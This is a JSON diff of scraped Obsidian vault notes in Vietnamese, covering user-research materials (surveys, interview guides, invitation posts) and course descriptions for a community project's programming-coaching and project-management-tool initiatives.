{ - "Tiêu đề": "Nghiên cứu người dùng", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc/4 Thành phẩm/Nghiên cứu người dùng/Nghiên cứu người dùng", + "Tiêu đề": "Bài đăng kêu gọi phỏng vấn", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/3 Thành phẩm/Các nghiên cứu về người dùng/Các nghiên cứu về nhu cầu sử dụng công cụ quản lý dự án cộng đồng/Các buổi phỏng vấn/Bài đăng kêu gọi phỏng vấn", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", + "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```dataview\nLIST rows.file.link\nFROM \"📐 Dự án/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc/4 Thành phẩm/Nghiên cứu người dùng\" \nWHERE file.name!=this.file.name\nGROUP BY split(file.folder, \"/\")[4]\n```", + "Toàn bộ nội dung": "\r\n\r\n# Giải pháp dữ liệu cho các dự án cộng đồng\r\n\r\nChào tất cả mọi người. Hiện tại bọn mình đang xây dựng một giải pháp về quản lý dữ liệu cho những dự án làm nhiều về cộng đồng. Mình muốn được tìm hiểu về cách các mọi người đang quản lý dữ liệu, cũng như nhu cầu của các mọi người về một giải pháp tốt hơn (mà cụ thể là Obsidian). Nếu có ai có hứng thú với chủ đề này, mình xin phép được hẹn một buổi gặp mặt để mình có thể trò chuyện sâu hơn. Ưu tiên gặp mặt tại TPHCM. Cảm ơn mọi người đã quan tâm.\r\n\r\nĐây là một số câu mình tính hỏi. Ai hứng thú cũng có thể trả lời luôn dưới đây nếu không bị lười nói 😛:\r\n\r\n• Tổ chức bạn lúc mới hình thành có cảm thấy quá tải và thiếu sự giúp đỡ, kể cả khi bạn thấy xung quanh có rất nhiều nguồn lực sẵn sàng giúp đỡ bạn?\r\n• Việc tìm hiểu nhu cầu của các bên liên quan (đối tượng thụ hưởng, đối tác tiềm năng) có khiến bạn cảm thấy mệt mỏi không?\r\n• Bạn có nghĩ việc có sẵn dữ liệu của các bên khác trong cơ sở dữ liệu của mình sẽ giúp mình hoạch định kế hoạch tốt hơn không?\r\n• Hiện tại giải pháp quản lý của bạn là gì?\r\n• Nếu có một công cụ có vẻ như sẽ giúp bạn tốt hơn trong việc này thì bạn sẵn sàng bỏ ra bao nhiêu thời gian để thử nghiệm? Cần những gì để bạn thấy được là nó có vẻ sẽ giúp bạn làm việc hiệu quả hơn?\r\n\r\n![[Mối quan tâm chung.jpeg]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-12-30T15:53:00.000Z", - "Ngày cập nhật": "2024-02-24T15:22:00.000Z", - "id": "N-" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-27T14:28:00.000Z", + "id": "OC" }, { - "Tiêu đề": "Bản khảo sát nhu cầu học lập trình", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc/4 Thành phẩm/Nghiên cứu người dùng/Nhu cầu học lập trình/Bản khảo sát nhu cầu học lập trình", + "Tiêu đề": "Hướng dẫn phỏng vấn người muốn xây dựng cộng đồng hoặc mạng lưới", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/3 Thành phẩm/Các nghiên cứu về người dùng/Các nghiên cứu về nhu cầu sử dụng công cụ quản lý dự án cộng đồng/Các buổi phỏng vấn/Hướng dẫn phỏng vấn người muốn xây dựng cộng đồng hoặc mạng lưới", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", + "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Giả thiết về đối tượng cần học cách lập trình]]\n\n\nBạn hãy đánh giá mức độ đồng ý của bạn với các ý dưới đây. Điểm -2 là rất không đồng ý, điểm 2 là rất đồng ý.\n\n**Việc có kiến thức lập trình sẽ giúp tôi:**\n- Chủ động hơn trong công việc hiện tại\n- Quản lý được thông tin, dữ liệu, kiến thức của mình\n- Tìm kiếm và hiểu được lập trình viên được tốt hơn\n- Có thêm nhiều lựa chọn công việc hơn\n- Không phải tốn tiền thuê những thứ mà mình có thể làm được, hoặc thậm chí tự mình làm sẽ tốt hơn\n\n**Tôi muốn:**\n- Chủ động hơn trong công việc hiện tại\n- Quản lý được thông tin, dữ liệu, kiến thức của mình\n- Tìm kiếm và hiểu được lập trình viên được tốt hơn\n- Có thêm nhiều lựa chọn công việc hơn\n- Không phải tốn tiền thuê những thứ mà mình có thể làm được, hoặc thậm chí tự mình làm sẽ tốt hơn\n\n**Tôi mong muốn sau khi có kiến thức lập trình tôi có thể:**\n- Đọc các tài liệu trôi chảy\n- Có khả năng tự tìm hiểu trên Google\n- Vượt qua được sự hoang mang khi không biết mình cần phải bắt đầu từ đâu\n- Không còn thấy sợ vì bị ngộp bởi quá nhiều thuật ngữ\n- Cảm thấy tự tin hơn khi cần giải quyết các vấn đề liên quan đến lập trình\n- Có được các hiểu biết sâu trong ngành \n- Có những gợi ý tốt hơn trong việc pháp triển cá nhân và sự nghiệp\n\n**Tôi không thấy mình cần phải:**\n- Thành thạo quá nhiều về kỹ thuật\n- Có người hướng dẫn trình độ cao\n\n**Điều cản trở tôi tự nghiên cứu là:**\n- Những bài viết tôi kiếm được ở trên đầu Google không cho tôi hiểu biết cụ thể nào\n- Tôi không biết phải dùng từ khoá nào để tìm được bài viết đủ sâu\n- Những bài viết sâu tôi tìm được làm tôi thấy ngộp vì quá nhiều thuật ngữ\n- Tôi cần phải ưu tiên làm những việc khác hơn là tự nghiên cứu về lập trình\n\n**Điều cản trở tôi đăng ký các khoá học lập trình là:**\n- Khoá học tổ chức trực tiếp và tôi không có điều kiện để di chuyển đến đó\n- Tôi không có tiền để tham gia\n- Lịch của tôi không phù hợp với lịch các khoá học\n- Tôi không thấy chúng giúp tôi có được giải pháp tôi cần tìm\n- Tôi thấy có nhiều nội dung tôi không cần tới\n- Tôi không biết tìm khoá học đi thẳng vào giải pháp tôi cần tìm như thế nào\n- Tôi cần phải ưu tiên làm những việc khác", + "Toàn bộ nội dung": "# Khởi động\r\nXin chào bạn. Mình là Lý Minh Nhật. Cảm ơn bạn đã nhận lời. Mình muốn mời bạn vào cuộc phỏng vấn này do thấy bạn tham gia tích cực trong kênh Obsidian tiếng Việt. Trước khi bắt đầu thì bạn có câu hỏi nào về cho mình không?\r\n\r\n- Công việc hiện tại của bạn là gì?\r\n- Nhu cầu hiện tại của bạn là gì?\r\n\r\n\r\n- Tổ chức bạn lúc mới hình thành có cảm thấy quá tải và thiếu sự giúp đỡ kể cả khi bạn thấy xung quanh có rất nhiều nguồn lực sẵn sàng giúp đỡ bạn? \r\n- Trong việc tìm hiểu nhu cầu của các bên liên quan (đối tượng thụ hưởng, đối tác tiềm năng) có khiến bạn cảm thấy mệt mỏi không? \r\n- Bạn có nghĩ việc có sẵn dữ liệu của các bên khác trong cơ sở dữ liệu của mình sẽ giúp mình hoạch định tốt hơn không? \r\n- Bạn đã thử sử dụng những cách quản lý nào rồi? \r\n- Nếu có một công cụ có vẻ như sẽ giúp bạn tốt hơn trong việc này thì bạn sẵn sàng bỏ ra bao nhiêu thời gian để thử nghiệm? Cần những gì để bạn thấy được là nó có vẻ sẽ giúp bạn làm việc hiệu quả hơn?\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-02-24T18:44:00.000Z", - "Ngày cập nhật": "2024-02-25T16:30:00.000Z", - "id": "N_" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-27T14:28:00.000Z", + "id": "OD" }, { - "Tiêu đề": "Mục tiêu và câu hỏi phỏng vấn", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc/4 Thành phẩm/Nghiên cứu người dùng/Sự tiếp nhận với ý tưởng/Mục tiêu và câu hỏi phỏng vấn", + "Tiêu đề": "Các nghiên cứu về nhu cầu sử dụng công cụ quản lý dự án cộng đồng", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/3 Thành phẩm/Các nghiên cứu về người dùng/Các nghiên cứu về nhu cầu sử dụng công cụ quản lý dự án cộng đồng", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", + "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# Mục tiêu phỏng vấn\nHiểu được:\n- Họ đã biết tới bài này thế nào?\n- Điều gì khiến họ quyết định bấm vào đọc?\n- Họ thấy tiêu đề thế nào?\n- Họ đã đọc như thế nào?\n- Họ hiểu bài này nói về cái gì?\n- Họ đánh giá thế nào về những điều bài này nói?\n\t- [ ] Thấy việc được chủ động định giá làm họ thấy công sức lao động của mình được tôn trọng, thấy được trao quyền\n\t\t- [ ] Thấy ở đây người tổ chức thực sự quan tâm đến nhu cầu của mình\n\t- [ ] Thấy nó giúp tiết kiệm thời gian của mình?\n\t- [ ] Không thấy việc phải tự định giá là nhức đầu\n\t- [ ] Thấy việc mình được quyền định giá thấp không có nghĩa là chất lượng kém\n\t- [ ] Nhắm được mức giá phù hợp\n\t- [ ] Thấy rằng AI hoặc nocode là không đủ và vẫn cần phải học lập trình\n\t- [ ] Hiểu được các buổi học được triển khai thế nào\n\t- [ ] Hiểu mình cần lên lộ trình học và kết quả đầu ra mong muốn\n- Điều gì khiến họ thấy ấn tượng nhất? \n- Điều gì khiến họ thấy thuyết phục nhất? \n- Điều gì khiến họ thấy thiếu thuyết phục nhất? \n- Họ đã bấm vào những link nào?\n\t- Vì sao những link đó thu hút hơn các link khác?\n- Họ ngừng đọc ở đâu?\n\t- Vì sao họ ngừng đọc?\n- Họ nghĩ ai là người sẽ quan tâm bài này?\n\t- Vì sao họ chưa chia sẻ bài này đến cho những người đó?\n\n\n# Câu hỏi phỏng vấn\n## Bạn đã biết tới bài này thế nào?\n## Điều gì khiến bạn quyết định bấm vào đọc?\n## Bạn thấy tiêu đề thế nào?\n## Bạn đã đọc như thế nào?\n## Bạn hiểu bài này nói về cái gì?\n## Bạn đánh giá thế nào về những điều bài này nói?\n(Không hỏi những ô dưới đây, chỉ hỏi chung chung về những điều bài này nói. Nếu ô nào không được trả lời thì hỏi xem họ có đọc cái phần liên quan đến ô đó chưa, rồi hỏi họ thấy phần đó thế nào)\n- [ ] Thấy việc được chủ động định giá làm bạn thấy công sức lao động của mình được tôn trọng, thấy được trao quyền\n\t- [ ] Thấy ở đây người tổ chức thực sự quan tâm đến nhu cầu của mình\n- [ ] Thấy nó giúp tiết kiệm thời gian của mình?\n- [ ] Không thấy việc phải tự định giá là nhức đầu\n- [ ] Thấy việc mình được quyền định giá thấp không có nghĩa là chất lượng kém\n- [ ] Nhắm được mức giá phù hợp\n- [ ] Thấy rằng AI hoặc nocode là không đủ và vẫn cần phải học lập trình\n- [ ] Hiểu được các buổi học được triển khai thế nào\n- [ ] Hiểu mình cần lên lộ trình học và kết quả đầu ra mong muốn\n## Điều gì khiến bạn thấy ấn tượng nhất? \n## Điều gì khiến bạn thấy thuyết phục nhất? \n## Điều gì khiến bạn thấy thiếu thuyết phục nhất? \n## Bạn đã bấm vào những link nào?\n### Vì sao những link đó thu hút hơn các link khác?\n## Bạn ngừng đọc ở đâu?\n### Vì sao bạn ngừng đọc?\n## Bạn nghĩ ai là người sẽ quan tâm bài này?\n### Vì sao bạn chưa chia sẻ bài này đến cho những người đó?\n\n[[Giả thiết về tiếp nhận của người đã đọc bài Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình]]\n[[❓Miễn phí, trả tuỳ tâm, tự định giá sức lao động]]\n[[Văn Đinh Phú]]\n\n\n", + "Toàn bộ nội dung": "%%\r\n#file/thành-phẩm\r\n%%\r\n\r\nPhục vụ cho thành quả:\r\n```dataview\r\nLIST\r\nFROM #file/thành-quả \r\nWHERE contains(thành-phẩm,[[]])\r\n```\r\nCác giả thuyết cần kiểm tra:\r\n```dataview\r\nLIST giả-thuyết\r\nFROM #file/thành-quả \r\nWHERE contains(thành-phẩm,[[]])\r\n```\r\nNgười chơi:: \r\nĐối tượng thụ hưởng: `=this.file.inlinks.đối-tượng-thụ-hưởng`\r\nThành quả cần có:: [[1 người tham gia phỏng vấn mỗi tuần]]\r\nThành quả hỗ trợ:: [[3 người có 10 năm kinh nghiệm trong lĩnh vực phi lợi nhuận nhận phỏng vấn]]\r\nThành quả hỗ trợ:: [[3 người có 1 năm kinh nghiệm trong lĩnh vực phi lợi nhuận nhận phỏng vấn]]\r\n\r\n- [x] [[Bài đăng kêu gọi phỏng vấn]] ✅ 2023-03-15\r\n- [ ] Hoàn thành [[Hướng dẫn phỏng vấn người muốn xây dựng cộng đồng hoặc mạng lưới]]\r\n- [ ] [[Email mời phỏng vấn]]\r\n\t- [ ] SNPO\r\n\t- [ ] VOGE\r\n\t- [ ] \r\n- [x] Phỏng vấn anh Minh ✅ 2023-03-14\r\n- [ ] Khảo sát\r\n\r\nThành phẩm nhỏ hơn:\r\n```dataview\r\nList \r\nWhere contains(file.folder,this.file.folder) and file.name!=this.file.name\r\n```\r\n\r\n\r\n# Câu hỏi nghiên cứu\r\n- Các tổ chức lúc mới hình thành có mong có ai kết nối giùm không?\r\n- Việc phải nói chuyện nhu cầu của nhau có khiến họ thấy mệt mỏi không?\r\n- Họ có nghĩ việc có sẵn dữ liệu của các bên khác trong csdl của mình sẽ giúp mình hoạch định tốt hơn không?\r\n\r\n- Họ đã thử sử dụng những cách quản lý nào rồi?\r\n- Nếu có một công cụ giúp họ thì họ sẵn sàng bỏ ra bao nhiêu thời gian để thử nghiệm?\r\n\r\n\r\n- Obsidian hữu ích để quản lý công việc\r\n- Chỉ Obsidian mới có thể giúp liên thông dữ liệu một cách dễ dàng nhất\r\n\r\n- Người dùng sử dụng dễ dàng Obsidian\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-12-31T05:02:00.000Z", - "id": "O0" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-12-25T13:53:00.000Z", + "id": "OE" }, { - "Tiêu đề": "Mục tiêu và câu hỏi phỏng vấn", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc/4 Thành phẩm/Nghiên cứu người dùng/Trải nghiệm sau buổi học/Mục tiêu và câu hỏi phỏng vấn", + "Tiêu đề": "Email mời phỏng vấn", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/3 Thành phẩm/Các nghiên cứu về người dùng/Các nghiên cứu về nhu cầu sử dụng công cụ quản lý dự án cộng đồng/Email mời phỏng vấn", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", + "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# Trải nghiệm của họ thế nào\n- Họ thấy có ưu điểm gì \n- Họ thấy có nhược điểm gì \n - Nhược điểm đó có phải là thứ họ quan tâm không?\n- Họ thấy có gì thú vị \n- Họ thấy có gì chưa hài lòng\n - Họ thấy điều đó có thể cải thiện gì?\n- Họ thấy mình đã đạt được mục tiêu của mình\n- Điểm thoả mãn\n\n# Họ học được gì ngoài những câu hỏi đó ra anh còn cảm thấy \nGiá trị nào khác của việc đáp ứng nhu cầu?\nkể cả việc mượn xe anh còn quy đổi sang đó là cái em muốn và anh không thực sự cần nữa, anh report cả cái đó như thế nào", + "Toàn bộ nội dung": "# VOGE\r\nXin chào các bạn VOGE\r\n\r\nHiện tại bọn mình đang xây dựng một giải pháp về quản lý dữ liệu cho những dự án làm nhiều về cộng đồng. Mình muốn được tìm hiểu về cách các bạn đang quản lý dữ liệu, cũng như nhu cầu của các bạn về một giải pháp tốt hơn (mà cụ thể là Obsidian). Mình rất mong có thể có một buổi trò chuyện với các bạn. Không biết các bạn thấy sao?\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-02-24T18:49:00.000Z", - "id": "O1" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-27T14:28:00.000Z", + "id": "OF" }, { - "Tiêu đề": "Phiếu đăng ký tham gia CBĐỨNCHCSDCCVTDLT", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc/4 Thành phẩm/Phiếu đăng ký/Phiếu đăng ký tham gia CBĐỨNCHCSDCCVTDLT", + "Tiêu đề": "Khảo sát người sử dụng Obsidian", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/3 Thành phẩm/Các nghiên cứu về người dùng/Khảo sát người sử dụng Obsidian", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", + "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Dùng mẫu sau để đăng ký một buổi huấn luyện (coaching) tạo giải pháp cho vấn đề của bạn:\n```\n# [Tên vấn đề]\nVấn đề của tôi là... \n\nĐiều tôi đã thử là... \n\n[Đính kèm ảnh chụp màn hình] \n- **Thời gian tôi rảnh:** \n- **Mức độ gấp:** [tôi không có vấn đề gì khi phải chờ tới ngày có nhiều bạn khác cùng tham gia không?]\n- **Để Quả Cầu đáp ứng được nhu cầu của tôi, đây là những nhu cầu của Quả Cầu tôi muốn đáp ứng lại:**\n- **Lý do tôi muốn đáp ứng những nhu cầu này:**\n- **Cách thức tôi sẽ đáp ứng những nhu cầu này:** \n- **Lý do tôi thấy sự trao đổi này là tương xứng cho những gì mỗi bên nhận được:**\n- **Thời điểm tôi có thể bắt đầu làm:**\n- **Những khó khăn hoặc sự nhức đầu tôi chưa thấy được giải toả:**\n- **Những suy nghĩ khác:**\n```\n\nKhông tìm cách để đạt được cái mình thấy là sự tương xứng, mà tìm cách làm sao để họ thấy cần phải làm những gì để họ thoả mãn, và cái họ thấy là tương xứng với điều đó là như thế nào\n\n%%Thời gian sắp xếp cho buổi hướng dẫn đầu tiên\n\nLý do bạn muốn tham gia là gì? Mục đích học cách sử dụng công cụ của bạn?\n\nLộ trình hướng dẫn và kết quả đầu ra bạn mong muốn \n\nĐể đạt được kết quả thoả mãn bạn thì theo bạn cần đạt được những điều gì?\n\nNếu có thêm bạn cùng học thì bạn có thấy hứng thú không? Vì sao?\n\nTiêu chí cho sự trao đổi nhu cầu của bạn là gì? Vì sao bạn chọn tiêu chí đó?\nVD: tương xứng về sự thoả mãn, tương xứng về công sức bỏ ra, tương xứng về thời gian bỏ ra, tương xứng về kết quả nhận được\n\nKế hoạch trao đổi nhu cầu của bạn là gì? Khi nào thì bạn có thể bắt đầu kế hoạch đó\n\nBạn gặp những khó khăn nào trong việc trao đổi nhu cầu? \n\nBạn còn muốn nói điều gì không?\n\n\n\n\n\n\n\nTiêu chí cho sự tương xứng của bạn là gì?\nLàm thế nào để chúng ta có được một sự hợp tác mà bạn thấy là tương xứng và phù hợp với khả năng của cả hai bên? \nBạn muốn học một mình hay có thêm bạn cùng học? %%", + "Toàn bộ nội dung": "Nhu cầu của bạn là gì\n- Quản lý cuộc sống cá nhân\n- Quản lý tri thức cá nhân\n- Quản lý dự án cá nhân\n- Quản lý dự án đội nhóm\n- Quản lý kiến thức đội nhóm\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-24T12:31:00.000Z", - "id": "O2" + "Ngày tạo": "2023-06-24T03:57:00.000Z", + "Ngày cập nhật": "2023-11-03T16:38:00.000Z", + "id": "OG" }, { - "Tiêu đề": "Bàn làm việc Google Calendar", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc/4 Thành phẩm/Truyền thông/Bàn làm việc Google Calendar", + "Tiêu đề": "Các nghiên cứu về sản phẩm", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/3 Thành phẩm/Các nghiên cứu về sản phẩm", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", + "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# Bàn làm việc Google Calendar\nBộ phận HR, marketing hoặc truyền thông nội bộ của công ty bạn muốn cập nhật các sự kiện trong năm để xây dựng nội dung nhưng việc cập nhật thủ công qua từng tháng, từng năm là một công việc mất nhiều thời gian? Việc nắm bắt xu hướng thông qua việc theo dõi các các sự kiện nổi bật trên các mạng xã hội như Facebook hay Tiktok rồi ghi chú thủ công trong Excel không đủ để bạn nhìn được số liệu dễ dàng và xem được sự kiện trong tuần hoặc trong tháng?\n\nVí dụ: bạn là HR muốn nắm lịch các sự kiện văn hoá trong tháng, hoặc là sinh viên cần cập nhật thời khoá biểu của trường. Bạn sẽ phải lên web của đơn vị tổ chức/nhà trường thường xuyên. Nếu có cách để bạn cào web về rồi cho vào lịch của bạn thì sẽ tiện hơn\n\nQuả Cầu mong muốn tìm gặp và giới thiệu cho bạn hướng đi khai phá khả năng quản lý thời gian thông qua một công cụ quen thuộc – Google Calendar, đó là là nâng cấp “cuốn lịch biểu” Google Calendar của bạn trở thành “bàn làm việc” Google Calendar.\n\n“Bàn làm việc” Google Calendar là một bàn làm việc sử dụng Google Calendar như mặt bàn để tổ chức và quản lý thông tin về thời gian biểu ở quy mô lớn hơn. Quy mô này thể hiện qua khả năng kết nối các thông tin về sự kiện hay thời gian ở nhiều nền tảng web khác nhau và mang nó về Google Calendar của bạn. Điều này tạo ra những lợi ích lớn như:\n\n- ***NHANH:*** Tự động hóa việc cập nhật sự kiện nhờ liên kết giữa các nguồn dữ liệu\n- ***GỌN:*** Mở rộng giao diện quen thuộc và quản lý dữ liệu trực quan \n\nVậy, nếu bạn có mong muốn hiện thực hoá điều này, Quả Cầu mời bạn vào link sau để biết thêm chi tiết: https://quacau.space/fgoi\n![[Bàn làm việc Google Calendar.png]]\n\n[[29-12]] [[Facebook page QC]]\n[[29-12]] [[HrShare]] \n[[29-12]] [[Launch]] \n[[29-12]] [[Profile QC]]\n[[31-12]] [[Cộng Đồng Agency Truyền Thông - Marketing Việt Nam]] \n[[31-12]] [[Sự kiện, HR]] \n\nKhái niệm:: \n\nNguồn:: ", + "Toàn bộ nội dung": "%%\n#file/thành-phẩm\n%%\n\nPhục vụ cho thành quả:\n```dataview\nLIST\nFROM #file/thành-quả \nWHERE contains(thành-phẩm,[[]])\n```\nCác giả thuyết cần kiểm tra:\n```dataview\nLIST giả-thuyết\nFROM #file/thành-quả \nWHERE contains(thành-phẩm,[[]])\n```\nNgười chơi:: \nĐối tượng thụ hưởng: `=this.file.inlinks.đối-tượng-thụ-hưởng`\n\nThành quả cần có::\nThành quả hỗ trợ::\n\nThành phẩm nhỏ hơn:\n```dataview\nList\nWhere contains(file.folder,this.file.folder) and file.name!=this.file.name\n```\n- [ ] CSDL\n- [ ] Publish web\n- [ ] Những giải pháp có sẵn ở cộng đồng Obsidian\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-02-22T05:32:00.000Z", - "id": "O3" + "Ngày tạo": "2023-07-21T04:54:00.000Z", + "Ngày cập nhật": "2023-10-27T14:28:00.000Z", + "id": "OH" }, { - "Tiêu đề": "Các buổi đáp ứng nhu cầu học lập trình", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc/4 Thành phẩm/Truyền thông/Các buổi đáp ứng nhu cầu học lập trình", + "Tiêu đề": "Bộ cài", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/3 Thành phẩm/Phần mềm/Bộ cài", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", + "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc\nNếu bạn muốn:\n- Quản lý và xử lý được thông tin, dữ liệu, kiến thức của mình một cách hiệu quả\n- Không phải tốn tiền thuê cho những thứ mà mình có thể làm được, hoặc thậm chí tự mình làm sẽ tốt hơn\n- Có những gợi ý tốt hơn trong việc pháp triển cá nhân và sự nghiệp, đem lại nhiều cơ hội, nhiều sự thú vị và ý nghĩa cho bạn hơn\n\nVà để đạt được điều này, bạn thấy mình cần:\n- Vượt qua được sự hoang mang khi không biết mình cần phải bắt đầu từ đâu\n- Không còn thấy ngộp bởi quá nhiều thuật ngữ khi tự tìm hiểu\n- Không còn thấy việc lập trình giống như làm phép thuật, là một thứ kỳ diệu mình không bao giờ hiểu được\n- Có được các hiểu biết sâu trong lĩnh vực lập trình. Đó không phải là sự thành thạo trong việc code (vì bạn không có ý định kiếm tiền, kiếm việc từ nó), mà chủ yếu ở cách người làm lập trình tư duy và cách các hệ thống vận hành\n\nThì các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc là dành cho bạn. Chúng là các những buổi tư vấn, hướng dẫn, đào tạo 1:1 cho cá nhân hoặc nhóm, với mong muốn **phổ cập kiến thức xây dựng, quản lý thông tin và xử lý dữ liệu cho các cá nhân hoặc nhóm có nhu cầu cá nhân hoá cao.** Sự cá nhân hoá này là quan trọng để bạn không cảm thấy mình đang lãng phí thời gian cho những thứ bạn thấy không quan trọng, để bạn vẫn có thể học được lập trình mà không phân tán sự tập trung của mình khỏi công việc quan trọng hơn. Tất cả các chi tiết như lộ trình học, nội dung, thời gian học, người hướng dẫn, người tham dự sẽ đều là sự thống nhất giữa hai bên.\n\nNhững thứ sẽ được chú trọng trong các buổi này:\n- **Những khái niệm thiết yếu trong việc xây dựng mental model, đặc biệt là:**\n• Những khái niệm cơ bản mà nếu không được giải thích thì không thể tự đoán ra được. Công việc ta cần làm đòi hỏi ta phải làm theo những hướng dẫn mặc định rằng ta đã hiểu được chúng rồi, và không cung cấp thêm lời giải thích hoặc xây dựng đủ bối cảnh để ta có thể đoán ý nghĩa của nó. Thường để hiểu được các khái niệm cơ bản này ta sẽ phải quay lại học bài bản, nhưng lúc đó việc học bài bản lại phân tán sự tập trung của ta khỏi công việc cần làm\n• Các so sánh, ẩn dụ tới một cái gì đó dễ hiểu, dễ liên tưởng hơn\n• Sự khác biệt, tương phản hoặc tăng tiến về cường độ của những thứ có vẻ na ná nhau hoặc mâu thuẫn nhau\n• Những thuật ngữ dùng không được chuẩn xác. Có những cách dùng từ mà với người đã hiểu rồi thì sự thiếu chính xác cũng không thành vấn đề, thậm chí còn tiện lợi, nhưng người mới học thì thấy loạn (các misnomer)\n• Ý đồ thiết kế (design rationale) để hiểu được điểm mạnh, điểm yếu của các giải pháp khác nhau cho cùng một vấn đề, và vì sao các tác giả của chúng chấp nhận những đánh đổi đó\n- **Các lỗi thường gặp mà việc tìm hiểu đòi hỏi phải có hiểu biết sâu về vấn đề (pitfall)**\n- **Những nguồn tốt dể học một cách bài bản**\n- **Những lĩnh vực, hướng tư duy ít được để ý**\n\nChúng là những thứ mà bạn ước rằng ngày xưa có ai nói với mình như vậy để mình hiểu ra nhanh. Chúng thể hiện được sự vận động, chuyển động của khái niệm.\n\n📷Hình: Một số nhu cầu công việc ví dụ và những kiến thức cần có để làm được chúng\n\n# Lộ trình\n\nVì đây là dự án phục vụ nhu cầu của bạn, nên số lượng buổi học, thời gian học, và hình thức học (trực tuyến hay trực tiếp) đều do bạn quyết định.\n\nNgười ai 